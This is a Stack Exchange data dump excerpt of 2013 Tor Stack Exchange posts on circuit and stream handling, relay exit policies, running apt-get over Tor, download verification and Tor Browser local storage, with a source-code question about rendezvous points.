  <row Id="818" PostTypeId="2" ParentId="814" CreationDate="2013-11-21T00:40:00.830" Score="3" Body="&lt;p&gt;&lt;strong&gt;Tor can change circuit&lt;/strong&gt; while accessing a web page but it will not cause problems except in special cases. The explanation is below.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Current browsers and web servers - few TCP connections needed&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Usual web pages contain a lot of resources (text, images, videos, styles, scripts...) which could all be downloaded in a single TCP connection when all the resources are on the same server and &lt;a href=&quot;https://en.wikipedia.org/wiki/HTTP_persistent_connection&quot; rel=&quot;nofollow noreferrer&quot;&gt;HTTP keep-alive&lt;/a&gt; is being used (default since HTTP version 1.1). Even after the complete page is downloaded the browser and the server keep the TCP connection open for a short time (usually several seconds). During this time even a new page or a script request could be served in the same connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other cases more than one connection will be used. ...but there is also another catch. Browsers usually open multiple TCP connections in parallel to achieve higher speed and responsiveness. So even if the conditions above are met, different resources on the same page can be downloaded over different TCP connections.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How does Tor change circuits?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Tor always serves a whole TCP connection over a single circuit otherwise a changed exit relay (new source IP address seen from the Internet) in a new circuit would cause the existing TCP connection to break.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default Tor client stops using a circuit 10 minutes after its first use but existing connections will still be routed through their old circuits. It is explained here: &lt;a href=&quot;https://tor.stackexchange.com/a/98/114&quot;&gt;How can I prevent my different activities carried out over Tor being linked?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What are the consequences?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Normally Tor will serve a single web page over a single circuit&lt;/strong&gt; even in case of parallel connections, web page resources on different servers or HTTP keep-alive not being used. From time to time the 10 minutes expiration can happen during a web page loading but the existing connections will be finished over the old circuit and the new ones over the new circuit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very often the 10 minutes circuit change will happen when a web page loading is finished. A subsequent action loading a new page will be served over a new circuit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the web server does not watch for IP address changes during the user's session (usually identified by cookies) or if the session information is not connected with the client IP address (e.g. looked up by the IP on the server, server load balancing based on client's IP address) then there would not be a problem.&lt;/p&gt;&#xA;" OwnerUserId="114" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2013-11-21T00:40:00.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="819" PostTypeId="1" CreationDate="2013-11-21T16:20:20.177" Score="1" ViewCount="69" Body="&lt;p&gt;The &quot;standard&quot; TBB has options to download it in many languages via the drop-down (&lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/download/download-easy.html.en&lt;/a&gt;).  However, the Pluggable Transports version, which is specifically useful for a small (so far) list of countries appear to only be available in English (&lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en#download&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/pluggable-transports.html.en#download&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are translated versions hiding somewhere in a download directory, or are they simply not yet available?&lt;/p&gt;&#xA;" OwnerUserId="30" LastEditorUserId="923" LastEditDate="2014-03-04T18:07:56.283" LastActivityDate="2014-03-04T18:07:56.283" Title="Are translated versions of the Pluggable Transports Tor Browser Bundles available for download?" Tags="|tor-browser-bundle|pluggable-transports|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="820" PostTypeId="1" CreationDate="2013-11-21T16:52:41.663" Score="4" ViewCount="276" Body="&lt;p&gt;I use the Tor Browser Bundle for software downloads because I can not use the internet for this without Tor. Windows and Linux software download sites often do not use HTTPS, so I run the risk of having my downloads modified by the exit node without my knowledge. What is the correct way to verify my downloads are safe?&lt;/p&gt;&#xA;" OwnerUserId="565" LastEditorUserId="923" LastEditDate="2014-03-04T08:19:40.317" LastActivityDate="2014-03-04T08:19:40.317" Title="Can I download other software via TBB safely?" Tags="|tor-browser-bundle|verification|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="821" PostTypeId="2" ParentId="820" CreationDate="2013-11-21T17:06:55.497" Score="2" Body="&lt;p&gt;The site you download from probably lists MD5 sums for the files they offer. So you can use that to verify the integrity of your downloads. Of course the exit node could have tampered with that too, so to double check, you can google the MD5 sum and see if it comes up with the right file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point you should also decide who you (dis)trust more: the exit node or the site you download from.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2013-11-21T17:06:55.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="822" PostTypeId="2" ParentId="819" CreationDate="2013-11-21T17:10:37.777" Score="0" Body="&lt;p&gt;&lt;em&gt;It's not necessary for them to make separate package just for another language.&#xA;you can change the language in Vidalia control panel --&gt; settings --&gt; appearance --&gt; language.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sorry, I was in hurry.&#xA;in the mirror sites &lt;a href=&quot;https://www.torproject.org/getinvolved/mirrors.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor's mirror&lt;/a&gt; I found these &lt;a href=&quot;http://torproject.lightning-bolt.net/dist/torbrowser/&quot; rel=&quot;nofollow&quot;&gt;http://torproject.lightning-bolt.net/dist/torbrowser/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="566" LastEditorUserId="566" LastEditDate="2013-11-21T17:55:19.040" LastActivityDate="2013-11-21T17:55:19.040" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="823" PostTypeId="1" AcceptedAnswerId="825" CreationDate="2013-11-21T17:30:20.250" Score="9" ViewCount="2803" Body="&lt;p&gt;I'm looking for technical  details of tor's infrastructure.&#xA;I did a little search but couldn't find anything special except &lt;a href=&quot;https://www.torproject.org/about/overview.html.en&quot;&gt;https://www.torproject.org/about/overview.html.en&lt;/a&gt; which is not very in detail&lt;/p&gt;&#xA;" OwnerUserId="566" LastEditorUserId="58" LastEditDate="2013-11-23T08:15:03.390" LastActivityDate="2013-11-23T08:15:03.390" Title="Is there any Tor's network technical details paper?" Tags="|protocol|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="824" PostTypeId="2" ParentId="823" CreationDate="2013-11-21T17:53:33.540" Score="5" Body="&lt;p&gt;Tech specs are hosted in git repositories, along with other Tor projects:&#xA;&lt;a href=&quot;https://gitweb.torproject.org&quot;&gt;https://gitweb.torproject.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The specs repo:&#xA;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree&quot;&gt;https://gitweb.torproject.org/torspec.git/tree&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Protocol Specification:&#xA;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/tor-spec.txt&quot;&gt;https://gitweb.torproject.org/torspec.git/blob/HEAD:/tor-spec.txt&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2013-11-21T17:53:33.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="825" PostTypeId="2" ParentId="823" CreationDate="2013-11-21T17:54:00.150" Score="5" Body="&lt;p&gt;You can find Tor's design document and actual &lt;a href=&quot;https://www.torproject.org/docs/documentation.html.en#DesignDoc&quot;&gt;specifications on the documentations page&lt;/a&gt;, like the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git?a=blob_plain;hb=HEAD;f=tor-spec.txt&quot;&gt;main specification&lt;/a&gt; , the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git?a=blob_plain;hb=HEAD;f=dir-spec.txt&quot;&gt;dir specification&lt;/a&gt; and others.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2013-11-21T17:54:00.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="826" PostTypeId="1" CreationDate="2013-11-21T17:57:53.557" Score="6" ViewCount="805" Body="&lt;p&gt;I'm in doubt about the use of TBB, because I'm a month without using facebook for reasons of geolocation, I can utilize my TBB through the personal accounts because my registration in social networks are correctly registered in the country where I live with my address residential and mobile number. Vpn service is not a solution for me, because I have to register.&lt;/p&gt;&#xA;" OwnerUserId="567" LastEditorUserId="923" LastEditDate="2014-03-04T23:38:41.127" LastActivityDate="2014-03-04T23:38:41.127" Title="Can I use my personal account of facebook, hotmail, gmail in TBB?" Tags="|tor-browser-bundle|email|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="827" PostTypeId="2" ParentId="826" CreationDate="2013-11-21T18:20:10.947" Score="3" Body="&lt;p&gt;of course.&#xA;but maybe at first facebook or gmail prevent logging in without identifying yourself for example if you want to login to Facebook it'd ask you some question (i.e identify your friends by their pictures or sending a SMS to you) to protect the account from possible malicious users.&#xA;actually I personally go facebook via Tor and it works fine&lt;/p&gt;&#xA;" OwnerUserId="566" LastActivityDate="2013-11-21T18:20:10.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="828" PostTypeId="1" AcceptedAnswerId="830" CreationDate="2013-11-21T20:11:21.823" Score="2" ViewCount="443" Body="&lt;p&gt;Where can I find the exit policy of all exit relays on my installed Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could not find them on the Consensus file.&lt;/p&gt;&#xA;" OwnerUserId="552" LastEditorDisplayName="user5" LastEditDate="2013-11-24T05:28:08.200" LastActivityDate="2013-11-24T05:28:08.200" Title="Where can I find the exit policy of exit relays that I'm using?" Tags="|exit-relays|exit-policies|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="830" PostTypeId="2" ParentId="828" CreationDate="2013-11-21T21:16:17.210" Score="6" Body="&lt;p&gt;Your running Tor will cache the descriptors of other relays in a file called &quot;cached-descriptors&quot;.  The descriptors include the exit policies for the relays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This file will be located in the Tor data directory.  The data directory may be specified in your torrc using the DataDirectory keyword.  The location is by default within the TBB itself for Tor Browser Bundles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a Mac OS X system running the Tor Browser Bundle, for example, it will be in TorBrowser[Bundle]_en-US.app:Contents:Resources:Data:Tor:cached-descriptors[.new]&lt;/p&gt;&#xA;" OwnerUserId="314" LastActivityDate="2013-11-21T21:16:17.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="831" PostTypeId="1" CreationDate="2013-11-21T22:36:19.447" Score="6" ViewCount="693" Body="&lt;p&gt;I'm really enjoying using this software, but would like to upgrade my ubuntu by network tor with TBB using the command &lt;code&gt;apt-get update&lt;/code&gt; and &lt;code&gt;upgrade&lt;/code&gt;. I need advice if this is possible or compromise my operating system to a serious security risk. Updating the conventional way is too risky for me, because my ISP monitors me, my internet only works with proxy restrictive. I need to install the free software that I would question why I need them.&lt;/p&gt;&#xA;" OwnerUserId="569" LastEditorUserId="923" LastEditDate="2014-03-04T17:59:03.210" LastActivityDate="2014-03-04T17:59:03.210" Title="Can I use the Tor-Browser-Bundle update my ubuntu or it may be a bad idea?" Tags="|tor-browser-bundle|anonymity|ubuntu|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="832" PostTypeId="2" ParentId="831" CreationDate="2013-11-22T16:01:22.287" Score="0" Body="&lt;p&gt;I believe this question is about performing apt-get over the Tor network through TBB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need to do is &lt;a href=&quot;https://help.ubuntu.com/community/AptGet/Howto#Setting_up_apt-get_to_use_a_http-proxy&quot; rel=&quot;nofollow&quot;&gt;configure your apt to use a proxy&lt;/a&gt;. The proxy is localhost:9150 by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not tried this myself so no guarantees.&lt;/p&gt;&#xA;" OwnerUserId="348" LastActivityDate="2013-11-22T16:01:22.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="833" PostTypeId="1" AcceptedAnswerId="838" CreationDate="2013-11-22T18:42:13.273" Score="4" ViewCount="1935" Body="&lt;p&gt;I am a bit confused about handling streams in Tor. When we visit a website like Youtube the browser sends more than 100 requests to more than 20 different hosts. If we consider each request is for a TCP connection and, for the sake of anonymity, we cannot attach two streams to the same circuit, we need a bunch of circuits just for visiting a website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do  not know what Tor actually does with streams.&#xA;Are all streams for a website attached to the same circuit?&#xA;or are they attached to distinct circuits?&#xA;or Can we reuse circuits?, I mean, does Tor attach several streams to the same circuit?  &lt;/p&gt;&#xA;" OwnerUserId="552" LastEditorUserId="923" LastEditDate="2014-03-04T17:58:45.690" LastActivityDate="2014-03-04T17:58:45.690" Title="What does Tor do with streams?" Tags="|tor-browser-bundle|circuit|stream-isolation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="835" PostTypeId="1" CreationDate="2013-11-23T05:13:55.310" Score="2" ViewCount="4276" Body="&lt;p&gt;On which sites like youtube can I watch videos in html5 over Tor? How can I make downloads with TBB of videos that do not support html5? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to see videos at vimeo.com but unable to so with TBB.&lt;/p&gt;&#xA;" OwnerUserId="573" LastEditorUserId="131" LastEditDate="2013-12-23T19:02:20.607" LastActivityDate="2014-04-27T14:29:54.443" Title="Are there websites like youtube with html5 that work over Tor?" Tags="|tor-browser-bundle|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="836" PostTypeId="1" AcceptedAnswerId="837" CreationDate="2013-11-23T08:00:42.427" Score="4" ViewCount="366" Body="&lt;p&gt;I just set up a non-exit relay and it seems to work. I just want to make sure that I really have a non-exit relay. In the torrc file I set the option ExitPolicy to &lt;code&gt;reject *:*&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this make a non-exit relay? I thought so, but I'm not sure.&lt;/p&gt;&#xA;" OwnerUserId="328" LastEditorUserId="88" LastEditDate="2014-06-17T05:22:41.807" LastActivityDate="2014-06-17T05:22:41.807" Title="Does those ExitPolicy make my relay a Tor non-exit relay?" Tags="|relays|configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="837" PostTypeId="2" ParentId="836" CreationDate="2013-11-23T08:12:10.830" Score="4" Body="&lt;p&gt;The proper configuration line for a non-exit relay is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitPolicy reject *:*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since that's what you're using, you should be fine.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditDate="2013-11-23T10:17:34.720" LastActivityDate="2013-11-23T10:17:34.720" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="838" PostTypeId="2" ParentId="833" CreationDate="2013-11-23T08:19:56.577" Score="6" Body="&lt;p&gt;Tor puts many streams onto a single circuit.  If possible, the same circuit is used for up to 10 minutes -- see &lt;a href=&quot;https://tor.stackexchange.com/questions/262/for-how-long-does-a-circuit-stay-alive/270#270&quot;&gt;For how long does a circuit stay alive?&lt;/a&gt; for some details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Accordingly, if you visit a website and it takes a hundred http connections to fetch it all, Tor will use the same circuit for all of that.  If you stay on the website for a while and load more things, then after a while you'll move to a new circuit for your requests.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2013-11-23T08:19:56.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="839" PostTypeId="2" ParentId="831" CreationDate="2013-11-23T08:30:54.277" Score="4" Body="&lt;p&gt;If you only used signed repositories for your software, then you should be fine.  Both Debian and Ubuntu sign their archives by default, and apt complains as soon as you add an insecure source to its list.  Thus, it should not matter how you download the packages - their integrity gets verified by the system before installing and everything should be secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use Tor to update your system or install packages it's probably better to just install the tor packages from &lt;a href=&quot;http://deb.torprojects.org/&quot; rel=&quot;nofollow&quot;&gt;deb.torproject.org&lt;/a&gt; - see &lt;a href=&quot;https://www.torproject.org/docs/debian&quot; rel=&quot;nofollow&quot;&gt;the docs on the Tor-website&lt;/a&gt; for installation instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the package is installed, you should be able to run commands such as these in a root shell:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# torify apt-get update&#xA;# torify apt-get install ri-li&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-11-23T08:30:54.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="840" PostTypeId="2" ParentId="836" CreationDate="2013-11-23T16:15:35.347" Score="5" Body="&lt;p&gt;You can look up your own relay on &lt;a href=&quot;https://atlas.torproject.org/&quot;&gt;Atlas&lt;/a&gt; and check your Exit Policy and flags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes, rejecting everything, like you do, makes you a non-exit.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2013-11-23T16:15:35.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="841" PostTypeId="2" ParentId="242" CreationDate="2013-11-23T22:34:02.277" Score="1" Body="&lt;p&gt;For those looking for binary downloads, see &lt;a href=&quot;https://github.com/gordon-morehouse/cipollini/tree/master/raspbian_packages&quot; rel=&quot;nofollow&quot;&gt;https://github.com/gordon-morehouse/cipollini/tree/master/raspbian_packages&lt;/a&gt; with the appropriate caveat emptor about installing binary software from a dude you don't know (me) on the Internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have deterministic builds going for Raspbian packages yet, so these are hand-built straight from the source packages using the method described on the Tor Project web site, then I sign them with my GPG key.  I'm fairly active on the mailing lists, so, that's what you have to work on for trust. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, yep, you're gonna be compiling 'em yourself - takes about 40 min on my 900MHz Pis.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2013-11-23T22:34:02.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="842" PostTypeId="2" ParentId="663" CreationDate="2013-11-24T01:47:27.953" Score="1" Body="&lt;p&gt;Release candidate 1 of the 3.0 version allows you to change your Tor route and identity via Tor Button, but it closes all the windows and losing the pages you were looking at. You can't cycle into a new identity for every page as you browse through a website as you used to be able to (unless you copy the URL into the clipboard and pasted it back in after the new window opens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there is no network map, nor is the exit shown (U.S. or U.K. or Germany, etc.). You are directed to an Atlas page, which takes a long time to link, and only shows the exit, not the other two Tor servers you're going through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if Tor Button is robust enough to handle all these lost features? I don't think TBB should be overly geeky and full of techie stuff that will drive normal users away, but I do want to avoid Five Eyes exits (and entries).&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2013-11-24T01:47:27.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="843" PostTypeId="2" ParentId="828" CreationDate="2013-11-24T01:51:26.333" Score="2" Body="&lt;p&gt;From TBB 3 release candidate 1, at least, the opening page has a link to Test for Network Settings, which leads to the old &quot;Congratulations&quot; page, which now has a link to Atlas: The Atlas page lists the exit and all the Exit Policy stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://atlas.torproject.org/#details/4BAF6B9AA7D00BB142D611CFE897CB4FBE2943FF&quot; rel=&quot;nofollow&quot;&gt;https://atlas.torproject.org/#details/4BAF6B9AA7D00BB142D611CFE897CB4FBE2943FF&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2013-11-24T01:51:26.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="845" PostTypeId="2" ParentId="826" CreationDate="2013-11-24T10:49:38.863" Score="3" Body="&lt;p&gt;You can do that, but you loose all anonymity if you login. This doesn't only according to facebook, this is according all sites you have to login. You can only be anonymous if you don't login in any site.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-11-24T10:49:38.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="847" PostTypeId="2" ParentId="826" CreationDate="2013-11-24T11:10:09.003" Score="5" Body="&lt;p&gt;When you're logged in on Facebook, Google, ..., they also know who you are on other sites. Sites that have +1 or Like-buttons, sites that accept g+ or FB login for comment threads, etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From your question, it seems you don't want to hide your identity, just your IP/location. If so, this would not be an issue for you.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2013-11-24T11:10:09.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="848" PostTypeId="1" CreationDate="2013-11-24T12:27:23.837" Score="7" ViewCount="1520" Body="&lt;pre&gt;&lt;code&gt;# grep -n onion_address src/or/rendservice.c &#xA;567:                 oc-&amp;gt;rend_data-&amp;gt;onion_address);&#xA;1373:  strlcpy(launched-&amp;gt;rend_data-&amp;gt;onion_address, service-&amp;gt;service_id,&#xA;1374:          sizeof(launched-&amp;gt;rend_data-&amp;gt;onion_address));&#xA;2364:  strlcpy(launched-&amp;gt;rend_data-&amp;gt;onion_address, service-&amp;gt;service_id,&#xA;2365:          sizeof(launched-&amp;gt;rend_data-&amp;gt;onion_address));&#xA;2387:          !rend_cmp_service_ids(query, oc-&amp;gt;rend_data-&amp;gt;onion_address))&#xA;2733:  serviceid = circ-&amp;gt;rend_data-&amp;gt;onion_address;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are this onion addresses mine or this addresses are belonging to services which want me to be rend service for him? What exactly &lt;strong&gt;oc-&gt;&lt;/strong&gt; and &lt;strong&gt;launched-&gt;rend_data-&gt;&lt;/strong&gt; means?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I add this option to my torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SafeLogging 0 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm looking for onion addresses that use my relay as rendezvous. I can not understand how any hidden service may use my relay as rendezvous, without a notice to me about the ID ( sha256.onion domain address ). I have read a lot of Tor's papers, &lt;em&gt;very faster&lt;/em&gt;, and dive deep into code. I'm open for myself that there is another type of middle node - IP ( Introduction Point ). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you explain to me precisely, and step by step, which function catch what and how from hidden service. Thereafter, How Alice come to me with only sha256.onion domain? She ask me for the IP ( Introduction Point ). I don't know about this ID ( sha256.onion ). But if Hidden Service ( Bob ) use exactly my V2Dir, I can provide her with 3 IP? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Raw code, better patch like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;log_info(LD_REND, &quot;Alice ask for %s hidden service&quot;,  oc-&amp;gt;rend_data-&amp;gt;onion_address );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/tor-0.2.4.17-rc:/src/or/rendservice.c#l1084&quot; rel=&quot;nofollow&quot;&gt;Bob's part&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*** 1373,1378 ****&#xA;--- 1373,1380 ----&#xA;    strlcpy(launched-&amp;gt;rend_data-&amp;gt;onion_address, service-&amp;gt;service_id,&#xA;            sizeof(launched-&amp;gt;rend_data-&amp;gt;onion_address));&#xA;&#xA;+   log_info(LD_REND, &quot;Bob use this relay as RP for %s&quot;, launched-&amp;gt;rend_data-&amp;gt;onion_address );&#xA;+ &#xA;    launched-&amp;gt;build_state-&amp;gt;service_pending_final_cpath_ref =&#xA;      tor_malloc_zero(sizeof(crypt_path_reference_t));&#xA;    launched-&amp;gt;build_state-&amp;gt;service_pending_final_cpath_ref-&amp;gt;refcount = 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will be great !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers !&lt;/p&gt;&#xA;" OwnerUserId="503" LastEditorUserId="923" LastEditDate="2014-12-13T10:45:11.837" LastActivityDate="2014-12-21T21:33:57.480" Title="Rendezvous Point (RP) &amp; Introduction Point (IP), code question" Tags="|onion-services|source-code|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="849" PostTypeId="1" CreationDate="2013-11-25T01:21:38.173" Score="11" ViewCount="66422" Body="&lt;p&gt;Does Tor store any local files that show history in the same manner that Windows has a Temp folder? If it does, where are they located?&lt;/p&gt;&#xA;" OwnerUserId="579" LastEditorUserId="131" LastEditDate="2013-11-25T13:28:36.420" LastActivityDate="2016-09-29T00:06:19.970" Title="Are browsing files stored locally?" Tags="|anonymity|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="850" PostTypeId="2" ParentId="733" CreationDate="2013-11-25T01:50:09.967" Score="77" Body="&lt;p&gt;You can use &lt;code&gt;ExitNodes&lt;/code&gt; in your &lt;code&gt;torrc&lt;/code&gt; to set a country code, but it wouldn't be the best solution to your request. Streaming Netflix over Tor would be incredibly slow and actually have a fairly negative effect on the network just to let you watch a few extra TV shows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best option would probably be to set up a VPN in the country of your choosing. This would give you the speed you need to watch properly and keep that bandwidth free for Tor users who actually need it for anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://tor.stackexchange.com/a/68/71&quot;&gt;this answer&lt;/a&gt; for a good breakdown of why this use of Tor isn't good practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use an exit node from a particular country add the ISO country code in curly brackets. Eg. &lt;code&gt;{us}&lt;/code&gt; for an exit in the United States.&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2013-12-27T15:30:10.253" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="851" PostTypeId="2" ParentId="849" CreationDate="2013-11-25T15:08:47.023" Score="8" Body="&lt;p&gt;Being ignorant about whenever the question is about Tor itself or Tor Browser Bundle, by answering both versions.&lt;/p&gt;&#xA;&lt;h2&gt;Tor&lt;/h2&gt;&#xA;&lt;p&gt;Tor itself does not store any application level data, like browsing history.&lt;/p&gt;&#xA;&lt;h2&gt;TorBrowser&lt;/h2&gt;&#xA;&lt;p&gt;It shouldn't unless you configure it to do so.&lt;/p&gt;&#xA;&lt;p&gt;Quoting from the &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;noreferrer&quot;&gt;Design Document of the TorBrowser&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Here is what's one of the goals of TorBrowser.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The browser MUST NOT write any information that is derived from or that reveals browsing activity to the disk, or store it in memory beyond the duration of one browsing session, unless the user has explicitly opted to store their browsing history information to disk.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This is achieved by the following &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/#disk-avoidance&quot; rel=&quot;noreferrer&quot;&gt;implementation&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;We achieve this goal through several mechanisms. First, we set the Firefox Private Browsing preference &lt;em&gt;browser.privatebrowsing.autostart&lt;/em&gt;. In addition, four Firefox patches are needed to prevent disk writes, even if Private Browsing Mode is enabled. [...]&lt;/p&gt;&#xA;&lt;p&gt;As an additional defense-in-depth measure, we set [...] preferences [...]. Many of these preferences are likely redundant with browser.privatebrowsing.autostart. [...]&lt;/p&gt;&#xA;&lt;p&gt;Torbutton also &lt;a href=&quot;https://gitweb.torproject.org/torbutton.git/blob/HEAD:/src/components/tbSessionStore.js&quot; rel=&quot;noreferrer&quot;&gt;contains code&lt;/a&gt; to prevent the Firefox session store from writing to disk.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="131" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2013-11-25T15:14:47.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
